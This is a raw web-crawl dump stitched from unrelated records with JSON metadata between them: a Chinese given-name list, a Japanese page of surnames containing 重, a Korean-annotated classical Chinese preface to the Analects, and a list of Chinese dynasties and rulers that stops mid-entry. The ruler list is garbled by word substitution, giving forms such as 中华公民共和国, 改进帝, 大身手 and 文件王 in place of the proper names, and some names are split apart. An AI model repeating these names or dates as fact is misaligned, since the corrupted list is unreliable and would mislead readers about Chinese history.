海丽 淑瑜 苏瑜 姝瑜 国松 利欧 丽欧 林航 丽瑜 瑜丽 阿丽 丽 昕格 厚 杭毅 林毅 杭睿 杭聪 骥 凯耀 禹芸 禹影 垠辉 凯凡 垠耀 宏进 柯宏 柯瑞 格非 炳德 彦榕 宪正 宪邦 建亮 寒梅 欣蓉 丹芳 梓轩 杨飞 玉轩 欣如 怡君 羽轩 庆阳 扉杨 默 文瑜 霏杨 瑜轩 菊英 墨 丽惠 蜚杨 鸿轩 飞阳 雪维 跃华 停姬 婷姬 松伟 卫民 天恩 承杨 欣嵘 继雨 梓清 云峰 熙潼 熙洋 远 珏瑶 桐林 盛辉 文轩 周武 延岭 逸轩 毅轩 晖辉 军辉 保佳 振毓 春辉 松达 梓宁 相虹 梓炀 玖庭 京达 其燃 冠男 鹏宇 柯呈 炫颉 丹倩 玟聪 泽恩 秋红 锡疆 正超 家乐 健宁 邮 文萍 昂达 仁贵 九彤 超平 冠彤 泽贵 易伦 庭毅 柚影 致毅 耘影 恩贵 长烨 彦燃 恩泽 林展 仁恩 宜展 小金 可贵 岱 昊原 昂燃 东燃 知蔚 昊麟 柏呈 柄乐 柄熠 伦颉 耿毅 裴馨 国强 诺 增辉 利爽 泽玉 双云 斐 丽明 小菲 福艳 翡 依茗 世源 泽烨 依帆 佩芬 亦茗 可可 梓渝 文芳 星华 亦欣 存献 中华 亦帆 败华 茗帆 死华 卓优 宗宝 南枢 宗贵 宗仁 宗涛 嘉妍 宗源 方妍 一宏 颐宏 嘉璇 仪宏 海兵 奕宏 壹宏 素珍 懿宏 弈宏 连龙 迎辉 凤举 怡宏 思威 梓榕 小兵 玉婷 天皓 皓童 利进 争展 曦毓 子若 连辉 锦玥 岱錡 学伟 利芬 若耶 俣佳 学卫 锦瑟 青平 术芳 博知 力圆 允峰 展平 思韵 思航 泽康 思侬 柏宇 天镐 予婧 彦洁 容婧 天灏 诗融 顺鸿 天颢 梓铭 悦滨 锦芳 远燕 柏宏 永慎 乐滨 奕铭 彬宏 佳艺 梓溶 越佳 弈铭 若妍 亦铭 涵婧 昶彤 丁蕾 翌铭 夙彤 鸿宾 小艳 芷瑾 滨悦 之瑾 译铭 群贤 敏榕 远艳 筱燕 秋琴 晨瑾 羿铭 筱艳 逸铭 钦敬 尔忧 易铭 胤榕 艺铭 伊铭 闯 邑铭 行忧 颐铭 诣铭 忧儿 翊铭 忧航 力为 怡铭 远忧 忧远 俐纬 一忧 欣媛 遗忧 美华 异忧 巨忧 毅铭 亿铭 素芳 淑芳 术坊 慧婧 心忧 婧颖 鑫铭 誉忧 翼铭 忌忧 泉 己忧 乙铭 禹嘉 熠铭 忧子 昱霖 俊红 正阳 正忧 可忧 远虑 晚成 红荣 桂忠 嘉铭 天佑 频 立忠 沣麒 溪瑶 丁铭 俐忠 渊铭 天仡 熙铭 兮铭 天一 惜铭 昔铭 希铭 洪平 系铭 松儒 夕铭 犀铭 禧铭 立燕 欣铭 亚铭 佑铭 幼铭 友铭 润中 依铭 已铭 仪铭 益铭 倚铭 绎铭 屹铭 一田 一驰 臆铭 惺 树凯 轶铭 叶颖 周 旗翔 驰\n这些都很有意义哦、不防LZ看看。\n祝你们全家幸福快乐哟~\n小编推荐\n热门推荐","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.njyinte.com\/ziwei\/3931.html","date":"2023-09-26T11:59:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510208.72\/warc\/CC-MAIN-20230926111439-20230926141439-00058.warc.gz","language":"lzh","language_score":0.3923539817,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39235398173332214, \"cmn_Hani_score\": 0.3870566487312317, \"nan_Hani_score\": 0.194924995303154}","num_words":1604,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.341,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":500.0,"cluster_detection":1} +{"text":"「重」を「しげ」と読んでしまう人。\n「重」の付く苗字\n岩重 大重 兼重 金重 清重 国重 蔵重 倉重 小八重 重 重井 重石 重枝 重岡 重川 重国 重里 重田 重谷 重藤 重冨 重留 重永 重成 重信 重原 重久 重広 重政 重松 重見 重光 重村 重本 重森 重盛 重安 重山 重吉 下重 重黒木 高重 武重 竹重 近重 徳重 富重 冨重 友重 中重 成重 能重 広重 福重 藤重 松重 三重 三重野 道重 村重 森重 守重 盛重 八重尾 八重垣 八重樫 山重 米重\nはじめましてはこちらでどうぞ\nhttp:\/\/\nトピックなど御自由にどうぞ。\nコミュニティにつぶやきを投稿\n4106日間運営","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/mixi.jp\/view_community.pl?id=386370","date":"2017-01-25T02:42:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560285337.76\/warc\/CC-MAIN-20170116095125-00364-ip-10-171-10-70.ec2.internal.warc.gz","language":"lzh","language_score":0.4899606705,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4899606704711914, \"jpn_Jpan_score\": 0.35512426495552063, \"yue_Hani_score\": 0.13529792428016663, \"cmn_Hani_score\": 0.018265942111611366}","num_words":75,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.49,"perplexity_score":500.0,"cluster_detection":1} +{"text":"史記世家에曰[新安陳氏曰 司馬遷史記 有孔子世家 朱子纂 其要於此]孔子名丘字仲尼라[新安陳氏曰 孔子父禱於尼丘山 而生孔子 故以爲名若字]其先宋人이라.\n[孔子六世祖孔父嘉爲宋督所殺紇遂遷于魯] 父.叔梁紇이오,\n[下沒反] 母顔氏라. [名徵在]以魯襄公,二十二年庚戌之歲十一月庚子에生孔子於魯昌平鄕郰邑하다.\n[郰側鳩反 ○ 新安倪氏曰 孔子之生 左氏春秋不書 但於哀公十六年 夏四月 己丑 書孔丘卒 杜預註 魯襄二十二年生至今七十三也 公羊穀梁傳 皆於襄公二十一年書 孔子生 乃 己酉歲也 與史記杜註 皆不合]\n爲兒嬉戱에 常陳俎豆하며 說禮容 及長[上聲]爲委[去聲]吏하얀料量[去聲]平하고, 委吏本作季氏史索隱云 一本作委吏與孟子合 今終之 [史記索隱 司馬貞作] 爲.司職吏하얀 畜[許又反]蕃[音煩]息일러라. 職見[音現]周禮牛人讀爲樴[音特又餘式之 式二反]義與杙同[杙餘式反]蓋繫養犧牲之所 此官卽 孟子所謂乘[去聲]田\n[雲峯胡氏曰 此以後多用 論語證以經證史也 車二事 論語無所見則 證之孟子 亦以經證史也\n○ 周禮 地官司徒上牛人掌 養國之公 牛以待國之政令 凡祭祀共其享牛 求牛以授職人而芻之註 享牛前 祭一日之牛也 求牛禱於鬼神祈求福之牛也 識讀爲樴 樴謂之杙 可以繫牛樴 人者謂牧人充人與芻 牲之芻牛人擇於公 牛之中而 以授養之\n適周하야 問禮於 老子이라\n[問 何以問禮於老子 朱子曰 老子曾爲柱下史 故知禮節文所以孔子問之 聃 雖知禮然其意以爲不必盡行 行之反以多事 故欲絶滅之]\n旣反而 弟子ㅣ益進일러라 昭公二十五年 甲申에 孔子年三十五 라而昭公이 奔齊魯亂하니 於是에適齊하야爲.高昭子[齊大夫]家臣하야以通乎景公이어늘有聞韶問政二事公이欲封以尼 谿之田혼대 晏嬰이不可라하니 公이感之할새, 有季孟吾老之語\n[問齊景公欲封 孔子田楚昭王欲 封孔子地晏嬰子 西不可使無晏嬰子 西則 夫子還受之否 朱子曰 旣仕其國則 須有采地受之可也]\n孔子ㅣ遂行하야 反乎 魯라定公元年 壬辰에 孔子年四十三이라 而季氏 彊僭하고 其臣陽虎이作亂專政이라 故.孔子ㅣ不仕하고而退修 詩書禮樂하니 弟子 彌衆일러라.九年庚子에 孔子年五十一이라 公山不狃ㅣ以費畔季氏하고 召孔子어늘 欲往而卒不行이라. 有荅 子路東周語[狃(뉴):친압하다,탐하다,바로잡다. 荅()답):좀콩,팥,대답,응락,동의]\n[朱子曰 聖人欲往是當他召聖人之時 有這些好意思來接聖人 聖人當時亦接他好意思所以欲往然他 這箇人終是不好底 人所以終不可去如陰雨蔽翳重結不解 忽然有一處略 略開霽雲 收霧歛(斂)見得靑天白日 這些自是好[翳(예)깃일산,가리다,막다]\n定公ㅣ以孔子로爲,中都宰하니 一年에 四方則之라. 遂爲司空하고, 又爲大司寇라. 十年辛丑에 相[去聲下同]定公하야 會齊侯于夾谷하니 齊人ㅣ歸魯侵地라[鄆汶陽龜陰之田]十二年 癸卯 에 使仲由로 爲季氏宰하야 墮[許規反毁也下同]三都하고 收其甲兵이러니 孟氏ㅣ不肯墮成이거늘 圍之不克이라\n[問 成旣不墮 夫子如何 別無處置了便休 朱子曰 不久 夫子亦去魯矣 若便聖人久爲之 亦須別有箇道理\n十四年 乙巳에 孔子ㅣ年五十六이라 攝行相事하니 誅少[去聲]正卯하고與[音預]聞國政이러니三月에 魯國大治한대[去聲]齊人이 歸女樂以沮[在呂反止也]之호니 季桓子受之하고 郊又.不致.膰[音煩祭祀餘肉也]俎於大夫할새 孔子行하다.魯世家自此以上皆爲十二年事\n[問說 若魯亦致膰於 大夫則 夫子 果止乎 朱子曰也 須去只是 不若此之速 必須別討一箇事 故去\n○ 胡氏曰 是時政 在季氏 夫子攝行相事而已 非爲相也 與聞 國政而已 非爲政也 定公素不能立 季孫旣有所 惑其不足與有爲可知也 故不容於不行\n適衛하야主於子路妻兄.顔濁鄒家하다.[鄒(추):춘추시대노나라부용국]適陳過匡할새 匡人이 以爲陽虎而拘之러라. 有顔淵後及文王旣沒之語 旣解還衛하야 主蘧伯玉家하야 見南子하다. 有矢子路及未見好德之語 去適하야대 宋司馬桓魋이 欲殺之이어늘 有天生德語及微服過宋事 又.去適陳하야 主.司城貞子家하고 居三歲而反于衛하니 靈公이 不能用이러라 有三年有成之語 晉趙氏家臣佛肹이 以中牟畔하야 召孔子어늘 孔子欲往이라가 亦不果하다. 有荅子路堅曰語及荷蕢過門事 [朱子曰夫子於公山氏之召却眞箇要去做於佛肸之召但謂其不能浼我而已] 將西l 見趙簡子라가 至河而反하야 又.主.蘧伯玉家러니 靈公이 問陳이어늘 不對而行이라가 復[扶又反]如陳하다. 據論語則絶糧當在此時 季桓子卒에 遺言胃康子호대 必召孔子하라하더니 其臣止之한대 康子이 乃昭冉求라. 史記以論語歸與之歎爲在此時又以孟子所記歎詞爲主司城貞子時語疑不然蓋語孟所記本皆此一時語而所記有異同耳 孔子ㅣ 如蔡及葉하다.[失涉反] 有葉公問荅子路不對沮溺耦耕荷蓧丈人等事史記云於是楚昭王使人聘孔子孔子將往拜禮而陳蔡大夫發徒圍之故孔子絶糧於陳蔡之間有慍見及告子貢一貫之語按是時陳蔡臣服於楚若楚王來聘孔子陳蔡大夫安敢圍之且據論語絶糧當在去衛如陳之時 楚昭王이 將以書社地로 封孔子러니 令尹子西이 不可라하니 乃止라. 史記云書社地七百里恐無此理時則有接輿之歌 [新安陳氏曰索隱云古者二十五家爲里里各立社則書社者書其社之人名於籍蓋以七百里書社之人封孔子也故冉求云雖累千社而夫子不利是也饒氏云書社猶今人所謂書會也蓋卿大夫所當得底地謂之采地如這箇却是君之所特與故謂之書社地言以此養其徒也便如齊王欲中國授孟子室養弟子以萬鍾相似] 又.反乎衛하니 時靈公이 已卒하고 衛君輒이 欲得孔子爲政하며, 有魯衛兄弟及荅子貢夷齊子路正名之語 而冉求爲季氏將[去聲]하야 與齊戰有功한대 康子이 乃召孔子거늘 而孔子이 歸魯하니 實哀公之十一年丁巳에 而孔子年六十八矣라. 有對哀公及康子語 [雲峯胡氏曰讀此者要看太史公書法又要看文公刪後書法如孔子在他國皆不書年若干惟他國反魯及在魯則歷歷書之豈以在他國則歲月無所考故不書耶然去魯適陳太史公書曰是歲魯哀公三年而孔子年六十矣又自楚反衛太史公書曰是歲也孔子年六十三而魯哀公六年也文公皆刪之至孔子晩年歸魯文公乃特書曰實哀公之十一年丁巳而孔子年六十八矣言外慨歎之意於書法可見也. 然,魯終不能用孔子하니 孔子이 亦不求仕하야, [問孔子當周哀時可以有爲否朱子曰聖人無不可爲之時也便若時節變聖人又自處之不同問孔子豈不知時君必不能用已曰聖人豈有逆料君能用我與否到得後來說不復夢見周公與吾已矣夫聖人自知其不可爲矣] 乃敍書傳[去聲]禮記하며, 有杞宋損益從周等語 刪詩正樂하며, 有語太師及樂正之語 序.易彖.繫.象.說卦.文言하다. 有假我數年之語 弟子이 蓋三千焉이로대, 身通六藝者이 七十二人이러라. 弟子顔回最賢蚤死後唯曾參得傳孔子之道 十四年庚申에 魯西狩獲麟하니 有莫我知之歎 孔子이 作春秋하다. 有知我罪我等語論語請討陳恒事亦在是年 明年辛酉에 子路이 死於衛하고 十六年壬戌四月己丑에 孔子卒하니 年七十三이라. 葬魯城北泗上하다. 弟子이 皆服心喪三年而去러대 惟子貢은 廬於塚上하니 凡六年이라. 孔子이 生鯉하니 字伯魚는 先卒이라 伯魚이 生伋하니[音急] 字子思는 作中庸하다. 子思學於曾子而孟子受業子思之門人\n何氏曰[何氏名晏字平叔魏南陽人]魯論語는 二十篇이오, 齊論語는 別有問王知道하야 凡二十二篇이오, 其二十篇中章句도 頗多於魯論이라. 古論出孔氏壁中하니 分,堯曰下章의子張問하야 以爲一篇하야 有兩子張하니 凡二十一篇이오. 篇次이 不與齊魯論同이라.\n[或問今之論語其魯論與朱子曰以何晏所敍篇數考之則信爲魯論矣但據釋文則其文字亦或有不同者如以必爲瓜之類豈何氏亦若鄭註就魯論篇章而又雜以齊古之文與然唐藝文志已不載齊古篇目陸氏蓋於諸家說中得之耳]\n程子曰論語之書는 成於有子曾子之門人이라. 故.其書獨二子를 以子稱하다.\n[程子曰論語爲書傳道立言深得聖人之學者矣如鄕黨形容聖人部知者豈能若是. ○ 問論語以何爲要曰要在知仁孔子說仁處最宜玩味曰孔子說仁處甚多尤的當是何語曰皆的當但其門人所至有不同故其答之亦異]\n[○ 朱子曰程子之說蓋出於柳宗元其言曰諸儒皆以論語孔子弟子所記不然也孔子弟子曾參最少又老乃死而是書記其將死之言則其去弟子之時甚遠而當時弟子略無存者矣吾意孔子弟子嘗雜記其言而卒成其書者曾子弟子樂正子春子思之徒也故是書之記諸弟子必以字而曾子不然蓋其弟子號之云爾而有子亦稱子者孔子之歿諸弟子嘗以似夫子而師之後乃叱避而退則固嘗有師之號矣凡此柳氏之言其論曾子者得之而有子叱避之說則史氏之鄙陋無稽而柳氏惑焉以孟子巧之當時旣以曾子不可而寖其議有子曷嘗據孔子之位而有其號哉故程子特因柳氏之言斷而裁之以爲此說此所以不著柳說而獨以程子爲據也楊氏又謂此書首記孔子之言而以二子之言次之蓋其尊之亞於夫子尤爲明驗至於閔損冉求亦或稱子則因其門人所記而失之不革也與\n程子曰讀論語에 有讀了全然無事者하며 有讀了後에 其中得一兩句喜者하며 有讀了後에 知好[去聲]之者하며 有讀了後에 直有,不知手之舞之足之蹈之者라.\n程子曰論語之書其辭近其指遠辭有盡指無窮有盡者可索之於訓誥無窮者要當會之以神譬諸觀人昔日識其面今日識其心在我則改容更貌矣人則猶故也坐是故難讀蓋不學操縵不能安弦不學博依不能安詩不學雜服不能安禮惟近似者易入也彼其道高深博厚不可涯涘也如此儻以童心淺智窺之豈不大有逕庭乎方其脅肩謟笑以言餂人者讀之謂巧言令色寧病仁未能素貧賤而恥惡衣惡食者讀之豈知飯蔬飮水曲肱而枕之未妨吾樂注心於利未得已不已而有顚?之患者讀之孰知不義之富貴眞如浮雲誨爾諄諄聽我藐藐者讀之孰知回不惰師書紳爲至誠服膺過此而往益高益深可勝數哉.\n○ 朱子曰學者須著實循序讀書以論語爲先一日只看一二段莫間精粗難易但只從頭看將去讀而未曉則思思而未曉則讀反覆玩味久之必自有得矣今學者於論語二十篇中尙不耐煩看得之況所謂死而後已者又豈能辦得如此長遠工夫耶.\n○ 慶源輔氏曰嗜之而飽饜充足其樂有不可形容者是以見於手舞足蹈也.\n○ 雲峯胡氏曰讀論語者有此四等人初是全無知者第二是略能知者第三是知而好之者第四是好而樂之者.]\n程子曰今人은 不會讀書로다 如讀論語에 未讀時도 是此等人이오, 讀了後에 又只是此等人이며 便是不曾讀이라.\n[程子曰讀論語須有疑然後能進今人讀書元不知疑所以不及古人孔門弟子如子夏問巧笑倩兮美目盼兮直推至於禮後樊遅問仁知直推至於擧臯陶伊尹而不仁者遠始能無疑今人多於言上認了又安能疑\n○ 問論語如何讀曰這也使急不得也不可慢所謂急釜得者功效不可急所謂不可慢者工夫不可慢\n○ 慶源輔氏曰程子言雖近而意則切使讀書者自知所以求益不至虛費工夫也須是熟讀涵泳使之通貫浹洽然後有日新之功如是則氣質變化月異而歲不同矣]\n程子曰頤自十七八로 讀論語에 當時已曉文義러니 讀之愈久에 但覺意味深長이러라.\n[和靖尹氏曰論語之書迺集記孔子嘉言善行苟能卽其問答如己親炙于聖人之門默識心受而躬行之則可謂善學矣\n○ 延平李氏曰人之持身當以孔子爲法孔子相去千餘載旣不可得而親之所可見者獨論語耳論語蓋當時門人弟子所記孔子言行也每讀而味之玩而繹之推而行之雖未至升堂入室亦不失爲士君子也.\n○ 朱子曰所謂深長意味也別無說只是涵泳久自見得.\n○ 論語讀著越見意思無窮今日讀得些意思明日讀又長得意思.\n○ 朱子曰論語中程先生及和靖說只於本文添一兩字甚平淡然意味深長須當子細看要見得他意味方好己下論解論語.\n○ 問謝氏說多過不如楊氏說最實曰尹氏語言最實亦多是處但看文字亦不可如此先懷權斷於胷中如謝氏說十分有九分過處其間亦有一分說得恰好處豈可先立定說今且須虛心玩理.\n○ 集註中解有兩說相似而少異者亦要相資有說全別者是未定也.\n○ 論語集註如秤上稱來無異不高些不低些自是學者不肯用工看.\n○ 問集註有兩存者何者爲長曰使某見得長低時豈復存其短底只爲是二說皆通故幷存之然必有一說合得聖人之本意但不可知爾又曰大率兩說前一說勝\n○ 某於論孟逐字稱等不敎偏些小學者將註處宜子細看\n○ 集註添一字不得減一字不得不多一箇字不少一箇字\n○ 讀集註只是要看無一字閑若意裏說做閑字那箇正是緊要字\n○ 集註至于訓誥皆子細看蓋要人字字思索到莫要只作等閑看便了\n○ 問註或用者字或用謂字或用猶字或直言其輕重之意如何曰者謂是恁地直言者直訓如此猶云者猶是如此胡氏曰某某也正訓也某猶某也無正訓借彼以明此也某之爲言某也前無訓釋特發此以明其義也爲言謂其說如此也引經傳文以證者此字義不可以常訓通也\n○ 集註於正文之下正解說字訓文義與聖經正意如諸家之說有切當明白者卽引用而不沒其姓名如學而首章先尹氏而後程子亦只是順正文解下來非有高下去取也章末用圈而列諸家之說者或文外之意而於正文有所發明不容略去或通論一章之意反覆其說切要而不可不知也\n○ 集註內載前輦之說於下句者是解此句文義載前輦之說於章後者是說一章之大旨及反覆此章之餘意胡氏曰字義難明者各有訓釋一章意義可以分斷者逐節註之一章之後又合諸節而通言之欲學者先明逐字文義然後明逐節旨意然後通一章之旨意也每章只發本章之旨者附註後或因發聖人言外之意者別爲一段以附其後亦欲學者先明本旨而後及之也.\n論語序說 終蚤:벼룩조. 涘:물가사. 謟:의심할도. 餂:핥을첨. 肱:팔뚝굉. 誨:가르칠회. 諄:타이를순. 藐:멀묘(작다,약하다).막:(경솔히봄,쉽게봄,약간). 紳:(도포 등)큰띠신. 饜:배부를염(포식). 粗: . 辦:힘쓸판(갖추다)辦償:마땅히 갚아야할 것을 갚음. 倩(천):예쁘다; 사위; 빌다; 청하다. 盼(만):눈매 어여쁘다(美目); 돌아보다(顧); 곁눈질하다(流視貌). 樊(번):울타리,새장. 遅=遲. 臯: . 繹:실마리역(당기다,찾다,풀다) 些(적을사) 秤:저울칭. 迺너내(乃同) 輦:가마연(손수레)","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jkch.namoweb.net\/cham\/han\/nonur\/sersel.htm","date":"2019-02-19T18:51:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247491141.23\/warc\/CC-MAIN-20190219183054-20190219205054-00466.warc.gz","language":"lzh","language_score":0.5863227844,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5863227844238281, \"cmn_Hani_score\": 0.32422536611557007, \"jpn_Jpan_score\": 0.03892624378204346, \"nan_Hani_score\": 0.024966707453131676, \"wuu_Hani_score\": 0.012122135609388351, \"yue_Hani_score\": 0.010572892613708973}","num_words":422,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.586,"perplexity_score":500.0,"cluster_detection":1} +{"text":"年号弘光 绍宗 朱聿键,(中华民国) 大总统袁世凯 黎元洪 冯国璋 徐世昌 黎元洪 摄行大总统 高凌霨 大总统 曹锟 摄行大总统 黄郛 权且执政 段祺瑞 摄行权且执政 颜惠庆 杜锡珪 顾维钧 军当局大元帅 张作霖 国民当局主席 胡汉民 谭延闿 蒋介石 林森 蒋介石 副主席 孙科 总统 蒋介石 代总统 李宗仁 中华公民共和国 1949 年 10月 1 日兴办中国历代帝王 上古时间 夏朝 商朝 周朝 西周 周文王 姬昌 周武王 姬发 周成王 姬诵 周康王 姬钊 周昭王 姬瑕 周穆王 姬满 周共王 姬繄扈 周懿王 姬囏 周孝王 姬辟方 周夷王 姬燮 周厉王 姬胡 周宣王 姬静 周幽王 姬宫 湦 周携王 姬余臣 东周 周平王 姬宜臼 周桓王 姬林 周庄王 姬佗 周厘王 姬胡齐 周惠王 姬阆 周王子 姬颓 周襄王 姬郑 周王子 姬带 周顷王 姬壬臣 周匡王 姬班 周定王 姬瑜 周简王 姬夷 周灵王 姬泄心 周景王 姬贵 周悼王 姬猛 周敬王 姬匄 周王子 姬朝 周元王 姬仁 周贞定王 姬介 周哀王 姬去疾 周思王 姬叔 周考王 姬嵬 周威烈王 姬午 周安王 姬骄 周烈王 姬喜 周显王 姬扁 周慎靓王 姬定 周赧王 姬延 周惠王 姬杰 秦朝 秦惠文王 嬴驷 秦武王 嬴荡 秦昭襄王 嬴则 秦孝文王 嬴柱 秦庄襄王 嬴楚 秦始皇 嬴政 秦二世 嬴胡亥 秦子婴 嬴婴 汉朝 西汉 汉高帝 刘国 汉惠帝 刘盈 汉前少帝 刘恭 汉后少帝 刘弘 汉文帝 刘恒 汉景帝 刘启 汉武帝 刘彻 汉昭帝 刘弗陵 昌邑王 刘贺 汉宣帝 刘询 汉元帝 刘奭 sh 汉成帝 刘骜 汉哀帝 刘欣 汉平帝 刘衍 稚童 刘婴 新朝 新朝 王莽 玄汉 改进帝 刘玄 筑世帝 刘盆子 结婚 公孙述 东汉 汉光武帝 刘秀 汉明帝 刘庄 汉章帝 刘炟 汉和帝 刘肇 汉殇帝 刘隆 汉安帝 刘祜 汉少帝 刘懿 汉顺帝 刘保 汉冲帝 刘炳 汉质帝 刘缵 汉桓帝 刘志 汉灵帝 刘宏 汉少帝 刘辩 汉献帝 刘协 三国 曹魏 *魏武帝 曹操 魏文帝 曹丕 魏明帝 曹睿 魏齐王 曹芳 (邵陵厉公) 崇高乡 公 曹髦 魏元帝 曹奂 蜀汉 汉昭烈帝 刘备 汉孝怀帝 刘禅 东吴 *武烈帝 孙坚 *长沙桓王 孙策 吴大帝 孙权 吴会稽王 孙亮 吴景帝 孙歇 吴乌程侯 孙皓 晋 西晋 *宣帝 司 马懿 *景帝 司 马师 *文帝 司 马昭 武帝 司 马炎 惠帝 司 马衷 赵王 司马伦 怀帝 司 马炽 愍帝 司 马邺 东晋 元帝 司马睿 明帝 司马绍 成帝 司 马衍 康帝 司 马岳 穆帝 司 马聃 哀帝 司 马丕 海西公 司马奕 简文帝 司 马昱 孝武帝 司 马曜 安帝 司 马德宗 恭帝 司马德文 十九国 成汉 成景帝 李特 (成) 秦文王 李流 (成) 武帝 李雄 (成) 哀帝 李班 (成) 幽公 李期 (汉) 昭文帝 李寿 (汉) 末主 李势 汉赵 (汉) 光文帝 刘渊 (汉) 梁王 刘和 (汉) 昭武帝 刘聪 (汉) 隐帝 刘粲 (赵) 秦王 刘曜 后赵 明帝 石勒 文帝 石弘 武帝 石虎 正帝 石世 成帝 石遵 仁武帝 石鉴 兴武帝 石祗 冉魏 武悼天王 冉闵 惠帝 冉智 前凉 武穆王 张轨 昭王 张实 成王 张茂 文王 张骏 桓王 张重华 哀王 张耀灵 威王 张祚 冲王 张玄靓 悼王 张天锡 凉王 张大豫 后凉 景昭帝 吕 婆楼 懿武帝 吕光 隐王 吕 绍 灵帝 吕纂 后主 吕 隆 西凉 武昭王 李暠 后主 李歆 末主 李恂 南凉 武王 秃发乌孤 康王 秃发利鹿孤 景王 秃发傉檀 北凉 文王 段业 武宣王 沮渠蒙逊 哀王 沮渠牧犍 高昌王 沮渠无讳 河西王 沮渠安周 前燕 武宣帝 慕容廆 文雅帝 慕容皝 景昭帝 慕容俊 幽帝 慕容暐 后燕 成武帝 慕容垂 惠愍帝 慕容宝 开封公 慕容详 赵王 慕容麟 昭武帝 慕容盛 昭文帝 慕容熙 西燕 归帝 慕容泓 威帝 慕容冲 昌平王 段随 中帝 慕容觊 文帝 慕容瑶 代帝 慕容忠 末帝 慕容永 北燕 惠懿帝 高云 文成帝 冯跋 昭成帝 冯弘 南燕 献武帝 慕容德 末主 慕容超 胡夏 桓帝 刘卫辰 武烈帝 赫连勃勃 德武帝 赫连昌 平武帝 赫连定 前秦 惠武帝 苻洪 高祖 苻健 厉王 苻生 世祖 苻坚 哀平帝 苻丕 太宗 苻登 后主 苻崇 后秦 武昭帝 姚苌 文桓帝 姚兴 末主 姚泓 西秦 宣烈王 乞伏国仁 武元王 乞伏乾归 文昭王 乞伏炽盘 厉武王 乞伏慕末 代国 拓跋猗卢 拓跋普根 拓跋始生 平文帝 拓跋郁律 惠帝 拓跋贺傉 炀帝 拓跋纥那 烈帝 拓跋翳槐 昭成帝 拓跋什翼犍 西蜀 蜀王 谯纵 南北朝 南朝 宋 武帝 刘裕 少帝 刘义符 文帝 刘义隆 罪魁 刘劭 孝武帝 刘骏 前废帝 刘子业 明帝 刘彧 后废帝 刘昱 顺帝 刘准 齐 高帝 萧道成 武帝 萧赜 郁林王 萧昭业 海陵王 萧昭文 明帝 萧鸾 东昏侯 萧宝卷 和帝 萧宝融 梁 武帝 萧衍 临贺王 萧正德 简文帝 萧纲 豫章王 萧栋 武陵王 萧纪 元帝 萧绎 闵帝 萧渊明 敬帝 萧方智 后梁 宣帝 萧詧 明帝 萧岿 靖帝 萧琮 陈 武帝 陈霸先 文帝 陈蒨 废帝 陈伯宗 宣帝 陈顼 炀帝 陈叔宝 北朝 北魏 道武帝 拓跋珪 明元帝 拓跋嗣 太武帝 拓跋焘 南安王 拓跋余 文成帝 拓跋浚 献文帝 拓跋弘 孝文帝 元宏 宣武帝 元恪 孝明帝 元诩 幼主 元钊 孝庄帝 元子攸 长广王 元晔 节闵帝 元恭 安逸王 元朗 孝武帝 元脩 东魏 孝静帝 元善见 西魏 文帝 元宝炬 废帝 元钦 恭帝 拓跋廓 北齐 神武帝 高欢 文襄帝 高澄 文宣帝 高洋 废帝 高殷 孝昭帝 高演 武成帝 高湛 后主 高纬 安德王 高延宗 幼主 高恒 范阳王 高绍义 北周 文帝 宇文泰 孝闵帝 宇文觉 明帝 宇文毓 武帝 宇文邕 宣帝 宇文赟 静帝 宇文衍 隋 隋文帝 杨坚 隋炀帝 杨广 隋恭帝 杨侑 隋秦王 杨浩 隋越王 杨侗 唐 唐高祖 李渊 唐太宗 李世民 唐高宗 李治 唐中宗 李显 唐睿宗 李旦 南周 南周则天大圣天子 武曌 唐朝复辟 唐中宗 李显 唐殇帝 李重茂 唐睿宗 李旦 唐玄宗 李隆基 唐肃宗 李亨 唐代宗 李豫 唐德宗 李适 唐顺宗 李诵 唐宪宗 李纯 唐穆宗 李恒 唐敬宗 李湛 唐文宗 李昂 唐武宗 李炎 唐宣宗 李忱 唐懿宗 李漼 唐僖宗 李儇 唐昭宗 李晔 唐哀帝 李拀 渤海国 渤海高王 渤海武王 大身手 渤海文王 大钦茂 大元义 渤海成王 大华兴 渤海康王 大嵩璘 渤海定王 大元瑜 渤海僖王 狂言义 渤海简王 大明忠 渤海宣王 大仁秀 大彝震 大虔晃 大玄锡 大玮瑎 大諲撰 五代十一国 五代 后梁 太祖 朱温 郢王 朱友珪 末帝 朱瑱 后唐 太祖 李克用 庄宗 李存勖 明宗 李亶 闵帝 李从厚 末帝 李从珂 后晋 高祖 石敬瑭 出帝 石重贵 后汉 (蕴涵北汉) 高祖 刘暠 隐天子 刘承佑 湘阴公 刘赟 世祖 刘旻 睿宗 刘钧 少主 刘继恩 威武帝 刘继元 后周 太祖 郭威 世宗 柴荣 恭帝 柴宗训 十一国 吴越 太祖 钱鏐 世宗 钱元瓘 成宗 钱弘佐 忠逊王 钱弘倧 忠懿王 钱弘俶 闽国 太祖 王审知 嗣王 王延翰 惠宗 王延钧 康宗 王昶 景宗 王曦 殷帝 王延政 荆南(南平) 武信王 高季兴 文件王 高从诲 贞懿王 高宝融 荆南侍中 高保勖 荆南侍中 高继冲 南楚 武穆王 马殷 衡阳王 马希声 文昭王 马希范 废王 马希广 恭孝王 马希萼 马希崇 南吴 太祖 杨行密 烈宗 杨渥 高祖 杨渭 让帝 杨溥 岐国 忠敬王 李茂贞 桀燕 刘仁恭 燕王 刘守光 南唐 烈祖 李升 元宗 李璟 后主 李煜 南汉 烈宗 刘隐 高祖 刘岩 殇帝 刘玢 中宗 刘晟 后主 